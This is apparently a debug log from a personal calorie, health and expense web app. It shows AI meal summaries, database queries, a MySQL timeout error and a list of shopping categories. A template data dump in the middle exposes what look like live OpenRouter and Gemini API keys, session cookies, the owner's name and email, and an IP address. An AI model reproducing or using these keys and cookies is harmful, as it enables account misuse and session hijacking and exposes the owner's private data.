  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '\n'
2025-12-20T10:19:46.104Z server-connect:app Executing action step processWithGemini
2025-12-20T10:19:46.104Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-20T10:19:47.470Z server-connect:output health_summary: {
  summary: "Today's intake shows a good inclusion of protein sources like paneer and whey, supporting muscle development. However, the meal composition leans heavily on carbohydrates and fats, with limited variety. Consistent early morning gym sessions are a positive for your goals. The recent weight trend indicates a gradual decrease, suggesting the current routine is moving in the right direction.",
  rating: 6,
  good_points: [
    'Inclusion of paneer and whey protein for muscle support.',
    'Consistent early morning gym workouts.',
    'Recent weight logs show a downward trend.'
  ],
  bad_points: [
    'Limited variety in food choices.',
    'High reliance on milk and bananas, potentially leading to a carbohydrate and fat imbalance.',
    'Lack of fibrous vegetables or other nutrient-dense food groups.'
  ],
  suggestions: [
    'Incorporate a wider range of vegetables and fruits to enhance nutrient intake and fiber.',
    'Consider adding lean protein sources beyond paneer and whey.',
    'Ensure adequate hydration throughout the day.',
    'Distribute protein intake more evenly across meals.'
  ],
  predicted_weight_trend: 'slight loss',
  predicted_weight: 69.8
}
2025-12-20T10:19:47.470Z server-connect:app Executing action step condition
2025-12-20T10:19:47.470Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-20T10:19:47.470Z server-connect:app Executing action step delete
2025-12-20T10:19:47.470Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-20T10:19:47.472Z server-connect:output delete: { affected: 1 }
2025-12-20T10:19:47.472Z server-connect:app Executing action step insert
2025-12-20T10:19:47.472Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-20T10:19:47.473Z server-connect:output insert: { affected: 1, identity: 47 }
2025-12-20T10:19:47.473Z server-connect:output condition: undefined
2025-12-20T10:19:47.675Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-20T10:19:47.676Z server-connect:app Executing action step identify
2025-12-20T10:19:47.676Z server-connect:app options: { provider: 'security' }
2025-12-20T10:19:47.676Z server-connect:output identity: 1
2025-12-20T10:19:47.676Z server-connect:app Executing action step restrict
2025-12-20T10:19:47.676Z server-connect:app options: { provider: 'security' }
2025-12-20T10:19:47.676Z server-connect:output restrict: undefined
2025-12-20T10:19:47.676Z server-connect:app Executing action step single
2025-12-20T10:19:47.676Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-20T10:19:47.677Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's intake shows a good inclusion of protein sources like paneer and whey, supporting muscle development. However, the meal composition leans heavily on carbohydrates and fats, with limited variety. Consistent early morning gym sessions are a positive for your goals. The recent weight trend indicates a gradual decrease, suggesting the current routine is moving in the right direction.",
    bad_points: [
      'Limited variety in food choices.',
      'High reliance on milk and bananas, potentially leading to a carbohydrate and fat imbalance.',
      'Lack of fibrous vegetables or other nutrient-dense food groups.'
    ],
    good_points: [
      'Inclusion of paneer and whey protein for muscle support.',
      'Consistent early morning gym workouts.',
      'Recent weight logs show a downward trend.'
    ],
    suggestions: [
      'Incorporate a wider range of vegetables and fruits to enhance nutrient intake and fiber.',
      'Consider adding lean protein sources beyond paneer and whey.',
      'Ensure adequate hydration throughout the day.',
      'Distribute protein intake more evenly across meals.'
    ],
    predicted_weight: 69.8,
    predicted_weight_trend: 'slight loss'
  },
  date: '2025-12-19T18:30:00.000Z'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 10:28:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 10:28:18' as DATETIME)"
}
2025-12-20T10:30:05.229Z server-connect:app Executing action step identify
2025-12-20T10:30:05.229Z server-connect:app options: { provider: 'security' }
2025-12-20T10:30:05.229Z server-connect:output identity: 1
2025-12-20T10:30:07.756Z server-connect:app Executing action step identify
2025-12-20T10:30:07.756Z server-connect:app options: { provider: 'security' }
2025-12-20T10:30:07.756Z server-connect:output identity: 1
2025-12-20T10:33:05.526Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-20T10:33:05.526Z server-connect:app Executing action step identify
2025-12-20T10:33:05.526Z server-connect:app options: { provider: 'security' }
2025-12-20T10:33:05.526Z server-connect:output identity: 1
2025-12-20T10:33:05.526Z server-connect:app Executing action step restrict
2025-12-20T10:33:05.526Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T10:33:05.528Z server-connect:output restrict: undefined
2025-12-20T10:33:05.528Z server-connect:app Executing action step processWithGemini
2025-12-20T10:33:05.528Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-20T10:33:07.437Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Milk Tea (without sugar)',
      quantity: '1 cup (approx 240ml)',
      calories_consumed: 60,
      total_calories: 60,
      protein: 8,
      carbs: 12,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Generally good for health, especially without added sugar. Provides some protein and calcium from milk. For muscle development, protein is beneficial.'
    }
  ],
  total_macros: {
    protein: { value: 8, unit: 'g' },
    carbs: { value: 12, unit: 'g' },
    fat: { value: 0, unit: 'g' }
  }
}
2025-12-20T10:33:12.336Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-20T10:33:12.337Z server-connect:app Executing action step identify
2025-12-20T10:33:12.337Z server-connect:app options: { provider: 'security' }
2025-12-20T10:33:12.337Z server-connect:output identity: 1
2025-12-20T10:33:12.337Z server-connect:app Executing action step restrict
2025-12-20T10:33:12.337Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T10:33:12.337Z server-connect:output restrict: undefined
2025-12-20T10:33:12.337Z server-connect:app Executing action step condition
2025-12-20T10:33:12.337Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-20T10:33:12.338Z server-connect:app Executing action step repeat
2025-12-20T10:33:12.338Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-20T10:33:12.338Z server-connect:app Executing action step insert
2025-12-20T10:33:12.338Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-20T10:33:12.339Z server-connect:output calories: { affected: 1, identity: 470 }
2025-12-20T10:33:12.339Z server-connect:output repeat: [ {} ]
2025-12-20T10:33:12.339Z server-connect:output condition: undefined
2025-12-20T10:33:12.548Z server-connect:router Serving templateView /calorie-tracker
2025-12-20T10:33:12.548Z server-connect:app Executing action step identify
2025-12-20T10:33:12.548Z server-connect:app options: { provider: 'security' }
2025-12-20T10:33:12.548Z server-connect:output identity: 1
2025-12-20T10:33:12.548Z server-connect:app Executing action step restrict
2025-12-20T10:33:12.548Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T10:33:12.549Z server-connect:output restrict: undefined
2025-12-20T10:33:12.549Z server-connect:router Render template layouts/main
2025-12-20T10:33:12.550Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo; your_r_git.sid=s%3AQCIBu3-xYemX7Zyess-nn4MF1-Abm-dh.5ZBk8dmQ3QkAQYcz1NqKmREpCU3rQnQuNwQ7%2FkfePeA',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T06:14:38.738Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo; your_r_git.sid=s%3AQCIBu3-xYemX7Zyess-nn4MF1-Abm-dh.5ZBk8dmQ3QkAQYcz1NqKmREpCU3rQnQuNwQ7%2FkfePeA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-20T10:33:12.787Z server-connect:app Executing action step identify
2025-12-20T10:33:12.787Z server-connect:app options: { provider: 'security' }
2025-12-20T10:33:12.787Z server-connect:output identity: 1
2025-12-20T10:33:13.101Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-20T10:33:13.104Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-20T10:33:13.105Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-20T10:33:13.105Z server-connect:app Executing action step identify
2025-12-20T10:33:13.105Z server-connect:app options: { provider: 'security' }
2025-12-20T10:33:13.105Z server-connect:output identity: 1
2025-12-20T10:33:13.105Z server-connect:app Executing action step restrict
2025-12-20T10:33:13.105Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T10:33:13.106Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-20T10:33:13.106Z server-connect:output restrict: undefined
2025-12-20T10:33:13.106Z server-connect:app Executing action step single
2025-12-20T10:33:13.106Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-20T10:33:13.107Z server-connect:app Executing action step identify
2025-12-20T10:33:13.107Z server-connect:app options: { provider: 'security' }
2025-12-20T10:33:13.107Z server-connect:output identity: 1
2025-12-20T10:33:13.107Z server-connect:app Executing action step restrict
2025-12-20T10:33:13.107Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T10:33:13.107Z server-connect:app Executing action step identify
2025-12-20T10:33:13.107Z server-connect:app options: { provider: 'security' }
2025-12-20T10:33:13.107Z server-connect:output identity: 1
2025-12-20T10:33:13.107Z server-connect:app Executing action step restrict
2025-12-20T10:33:13.107Z server-connect:app options: { provider: 'security' }
2025-12-20T10:33:13.107Z server-connect:output restrict: undefined
2025-12-20T10:33:13.107Z server-connect:app Executing action step single
2025-12-20T10:33:13.107Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-20T10:33:13.107Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-20T10:33:13.108Z server-connect:app Executing action step identify
2025-12-20T10:33:13.108Z server-connect:app options: { provider: 'security' }
2025-12-20T10:33:13.108Z server-connect:output identity: 1
2025-12-20T10:33:13.108Z server-connect:app Executing action step restrict
2025-12-20T10:33:13.108Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T10:33:13.109Z server-connect:output restrict: undefined
2025-12-20T10:33:13.109Z server-connect:app Executing action step select
2025-12-20T10:33:13.109Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-20T10:33:13.110Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's intake shows a good inclusion of protein sources like paneer and whey, supporting muscle development. However, the meal composition leans heavily on carbohydrates and fats, with limited variety. Consistent early morning gym sessions are a positive for your goals. The recent weight trend indicates a gradual decrease, suggesting the current routine is moving in the right direction.",
    bad_points: [
      'Limited variety in food choices.',
      'High reliance on milk and bananas, potentially leading to a carbohydrate and fat imbalance.',
      'Lack of fibrous vegetables or other nutrient-dense food groups.'
    ],
    good_points: [
      'Inclusion of paneer and whey protein for muscle support.',
      'Consistent early morning gym workouts.',
      'Recent weight logs show a downward trend.'
    ],
    suggestions: [
      'Incorporate a wider range of vegetables and fruits to enhance nutrient intake and fiber.',
      'Consider adding lean protein sources beyond paneer and whey.',
      'Ensure adequate hydration throughout the day.',
      'Distribute protein intake more evenly across meals.'
    ],
    predicted_weight: 69.8,
    predicted_weight_trend: 'slight loss'
  },
  date: '2025-12-19T18:30:00.000Z'
}
2025-12-20T10:33:13.112Z server-connect:output restrict: undefined
2025-12-20T10:33:13.112Z server-connect:app Executing action step single
2025-12-20T10:33:13.112Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-20T10:33:13.116Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
